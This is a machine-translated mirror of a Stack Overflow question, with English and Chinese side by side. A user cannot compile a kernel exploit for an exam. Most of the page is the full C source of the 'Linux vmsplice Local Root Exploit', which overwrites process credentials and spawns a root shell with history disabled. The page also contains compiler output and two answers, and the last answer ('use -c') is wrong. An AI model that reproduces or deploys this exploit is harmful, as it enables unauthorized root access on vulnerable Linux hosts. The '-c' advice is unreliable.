简体   繁体   English

C 程序中对“main”的未定义引用

[英]Undefined reference to ''main" in a C program

I have read the other answers on this topic, and unfortunately they have not helped me.我已经阅读了关于这个主题的其他答案,不幸的是他们没有帮助我。 I'm trying to compile a C program on my pc, but the compiler get me the following error:我试图在我的电脑上编译一个 C 程序,但编译器给我以下错误:

/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o: In function _start': (.text+0x20): undefined reference to main' /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o: 在函数_start': (.text+0x20): undefined reference to主要'
collect2: ld returned 1 exit status collect2: ld 返回 1 个退出状态

Although the program has a main.虽然该程序有一个 main. The code is an exploit that I try to run on my pc for an exam:该代码是我尝试在我的电脑上运行以进行考试的一个漏洞:

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS    16
#define PG_compound 14
#define uint        unsigned int
#define static_inline   static inline __attribute__((always_inline))
#define STACK(x)    (x + sizeof(x) - 40)

struct page {
    unsigned long flags;
    int count;
    int mapcount;
    unsigned long private;
    void *mapping;
    unsigned long index;
    struct { long next, prev; } lru;
};

void exit_code();
char exit_stack[1024 * 1024];

void die(char *msg, int err)
{
    printf(err ? "[-] %s: %s " : "[-] %s ", msg, strerror(err));
    fflush(stdout);
    fflush(stderr);
    exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   316
#endif

#define USER_CS     0x73
#define USER_SS     0x7b
#define USER_FL     0x246

static_inline
void exit_kernel()
{
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}

static_inline
void * get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   278
#endif

#define USER_CS     0x23
#define USER_SS     0x2b
#define USER_FL     0x246

static_inline
void exit_kernel()
{
    __asm__ __volatile__ (
    "swapgs ;"
    "movq %0, 0x20(%%rsp) ;"
    "movq %1, 0x18(%%rsp) ;"
    "movq %2, 0x10(%%rsp) ;"
    "movq %3, 0x08(%%rsp) ;"
    "movq %4, 0x00(%%rsp) ;"
    "iretq"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}

static_inline
void * get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movq %%gs:(0), %0"
    : "=r" (curr)
    );
    return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice  __NR_vmsplice
_syscall4(
    long, _vmsplice,
    int, fd,
    struct iovec *, iov,
    unsigned long, nr_segs,
    unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void kernel_code()
{
    int i;
    uint    *p = get_current();

    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
            p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid &&
            p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }   

    exit_kernel();
}

void exit_code()
{
    if (getuid() != 0)
        die("wtf", 0);

    printf("[+] root ");
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "bash", "-i", NULL);
    die("/bin/bash", errno);
}

int main(int argc, char *argv[])
{
    int     pi[2];
    size_t      map_size;
    char *      map_addr;
    struct iovec    iov;
    struct page *   pages[5];

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);

    printf("-----------------------------------");
    printf(" Linux vmsplice Local Root Exploit");
    printf(" By qaaz");
    printf("-----------------------------------");

    if (!uid || !gid)
        die("!@#$", 0);

    /*****/
    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    pages[1] = pages[0] + 1;

    map_size = PAGE_SIZE;
    map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx ", pages[0]);
    printf("[+] page: 0x%lx ", pages[1]);

    pages[0]->flags    = 1 << PG_compound;
    pages[0]->private  = (unsigned long) pages[0];
    pages[0]->count    = 1;
    pages[1]->lru.next = (long) kernel_code;

    /*****/
    pages[2] = *(void **) pages[0];
    pages[3] = pages[2] + 1;

    map_size = PAGE_SIZE;
    map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx ", pages[2]);
    printf("[+] page: 0x%lx ", pages[3]);

    pages[2]->flags    = 1 << PG_compound;
    pages[2]->private  = (unsigned long) pages[2];
    pages[2]->count    = 1;
    pages[3]->lru.next = (long) kernel_code;

    /*****/
    pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx ", pages[4]);

    /*****/
    map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
    map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);

    /*****/
    map_size -= 2 * PAGE_SIZE;
    if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
        die("munmap", errno);

    /*****/
    if (pipe(pi) < 0) die("pipe", errno);
    close(pi[0]);

    iov.iov_base = map_addr;
    iov.iov_len  = ULONG_MAX;

    signal(SIGPIPE, exit_code);
    _vmsplice(pi[1], &iov, 1, 0);
    die("vmsplice", errno);
    return 0;
}

Thanks in advance.提前致谢。


this is the output of command: gcc exploit.c -o exploit这是命令的输出:gccexploit.c -oexploit

 Using built-in specs.
    Target: x86_64-redhat-linux
    Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-libgcj-multifile --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --disable-plugin --with-java-home=/usr/lib/jvm/java-1.4.2-gcj-1.4.2.0/jre --with-cpu=generic --host=x86_64-redhat-linux
    Thread model: posix
    gcc version 4.1.2 20080704 (Red Hat 4.1.2-54)
     /usr/libexec/gcc/x86_64-redhat-linux/4.1.2/cc1 -quiet -v /usr/local/Plone/zinstance/var/exploit.c -quiet -dumpbase exploit.c -mtune=generic -auxbase exploit -version -o /tmp/cclLsvN1.s
    ignoring nonexistent directory "/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../x86_64-redhat-linux/include"
    #include "..." search starts here:
    #include <...> search starts here:
     /usr/local/include
     /usr/lib/gcc/x86_64-redhat-linux/4.1.2/include
     /usr/include
    End of search list.
    GNU C version 4.1.2 20080704 (Red Hat 4.1.2-54) (x86_64-redhat-linux)
            compiled by GNU C version 4.1.2 20080704 (Red Hat 4.1.2-54).
    GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072
    Compiler executable checksum: d9259db5918a1d4098c2a59efd7b40ce
    /usr/local/Plone/zinstance/var/exploit.c:1:20: warning: missing whitespace after the macro name
     as -V -Qy -o /tmp/ccsCgguR.o /tmp/cclLsvN1.s
    GNU assembler version 2.17.50.0.6-26.el5 (x86_64-redhat-linux) using BFD version 2.17.50.0.6-26.el5 20061020
     /usr/libexec/gcc/x86_64-redhat-linux/4.1.2/collect2 --eh-frame-hdr -m elf_x86_64 --hash-style=gnu -dynamic-linker /lib64/ld-linux-x86-64.so.2 -o /usr/local/Plone/zinstance/var/exploit /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crti.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/crtbegin.o -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2 -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2 -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64 -L/lib/../lib64 -L/usr/lib/../lib64 /tmp/ccsCgguR.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-redhat-linux/4.1.2/crtend.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crtn.o
    /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o: In function `_start':
    (.text+0x20): undefined reference to `main'
    collect2: ld returned 1 exit status

Thanks!谢谢!

You are not compiling the file you think you are compiling.您没有编译您认为正在编译的文件。 This is evinced by two things:这体现在两件事上:

  • The linker complains main is not defined when it clearly is in the source shown.链接器抱怨main明确位于所示的源中时未定义。
  • The warning message “/usr/local/Plone/zinstance/var/exploit.c:1:20: warning: missing whitespace after the macro name” does not match the source shown.警告消息“/usr/local/Plone/zinstance/var/exploit.c:1:20: warning: missing whitespace after the macro name”与显示的源不匹配。

That warning message arises when a #define line contains another token after the macro name without an intervening space, such as:#define行在宏名称后包含另一个标记而没有中间空格时,会出现该警告消息,例如:

#define foo,

The source you show does not contain such text on line 1.您显示的来源在第 1 行不包含此类文本。

Additionally, you show text that you report is the output of the command “gcc exploit.c -o exploit”, but gcc does not show that sort of text unless the “-v” option is used.此外,您显示的文本是命令“gccexploit.c-oexploit”的输出,但除非使用“-v”选项,否则gcc不会显示那种文本。 So the output must have been obtained by a different command.所以输出一定是通过不同的命令获得的。

If you have the file open in an editor, you should save it, and you should check the filesystem path the editor is saving the file to.如果您在编辑器中打开了该文件,则应保存它,并检查编辑器将文件保存到的文件系统路径。

probably it's too late for a response.可能已经太迟了。

using the -c flag should solve the problem使用 -c 标志应该可以解决问题

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM